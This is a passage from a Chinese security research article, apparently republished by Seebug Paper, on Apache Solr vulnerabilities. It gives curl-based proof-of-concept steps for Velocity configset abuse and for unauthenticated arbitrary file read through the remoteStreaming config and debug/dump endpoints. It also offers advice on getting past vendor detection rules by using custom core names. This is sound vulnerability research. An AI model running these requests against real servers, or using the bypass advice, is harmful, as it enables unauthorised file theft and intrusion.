修改solrconfig.xml velocity.params.resource.loader.enabled:false 為true 圖片

目錄如下

圖片

壓縮為zip,通過Configset API上傳到服務器

curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sssconfigset.zip "http://localhost:8983/solr/admin/configs?action=UPLOAD&name=sssConfigSet"

圖片

配置文件上傳成功

圖片

通過API創建新的collecton,或者從前臺創建也可

圖片

創建成功

圖片

執行命令

圖片

其實是官方正常功能

2.10 全版本任意文件讀取(官方拒絕修復)

默認安裝未授權情況下,各項配置皆為默認

下載Solr最新版本

http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz

圖片

POC

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'

curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt" 

復現

1.第一步

curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'

圖片

2.第二步

curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"?

圖片

圖片

3.漏洞信息跟進

https://cwiki.apache.org/confluence/display/solr/SolrSecurity

https://issues.apache.org/jira/browse/SOLR

4.廠商防護及繞過思路

這種組件直接放內網就好了,或者一定配置身份校驗,且Solr路由寫的比較死,廠商提取規則時只要將url過濾完整即可,不會存在繞過情況。

繞過的話,雖然說每個漏洞url較為固定,但是每個功能的觸發點皆為每個core或collection,core的名稱包含在url中,且生產環境中為用戶自定義,很多規則編寫者通常只將示例example加入檢測,可繞過幾率很高。

四、個人思考

Apache Solr整體默認安裝為未授權,且大部分資產都為未授權,提供眾多api接口,支持未授權用戶通過config api更改配置文件,攻擊面較大。

五、參考鏈接

https://solr.apache.org/guide/8_6/

https://caiqiqi.github.io/2019/11/03/Apache-Solr%E6%BC%8F%E6%B4%9E%E5%90%88%E9%9B%86/

https://baike.baidu.com/item/apache%20solr

https://cwiki.apache.org/confluence/display/solr/SolrSecurity

https://www.jianshu.com/p/03b1199dec2c

https://zhuanlan.zhihu.com/p/71629409

https://issues.apache.org/jira/browse/SOLR-12770

https://xz.aliyun.com/t/8374

https://www.ebounce.cn/web/73.html

https://developer.aliyun.com/article/616505

https://www.jianshu.com/p/d3d83b6cb17c

https://www.cnblogs.com/leeSmall/p/8992708.html

https://zhouj000.github.io/2019/01/24/solr-6/

https://juejin.im/post/6844903949116391431

http://codingdict.com/article/9427

https://xz.aliyun.com/t/2448

https://xz.aliyun.com/t/1523#toc-1

http://www.bjnorthway.com/1009/

https://xz.aliyun.com/t/4422


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1515/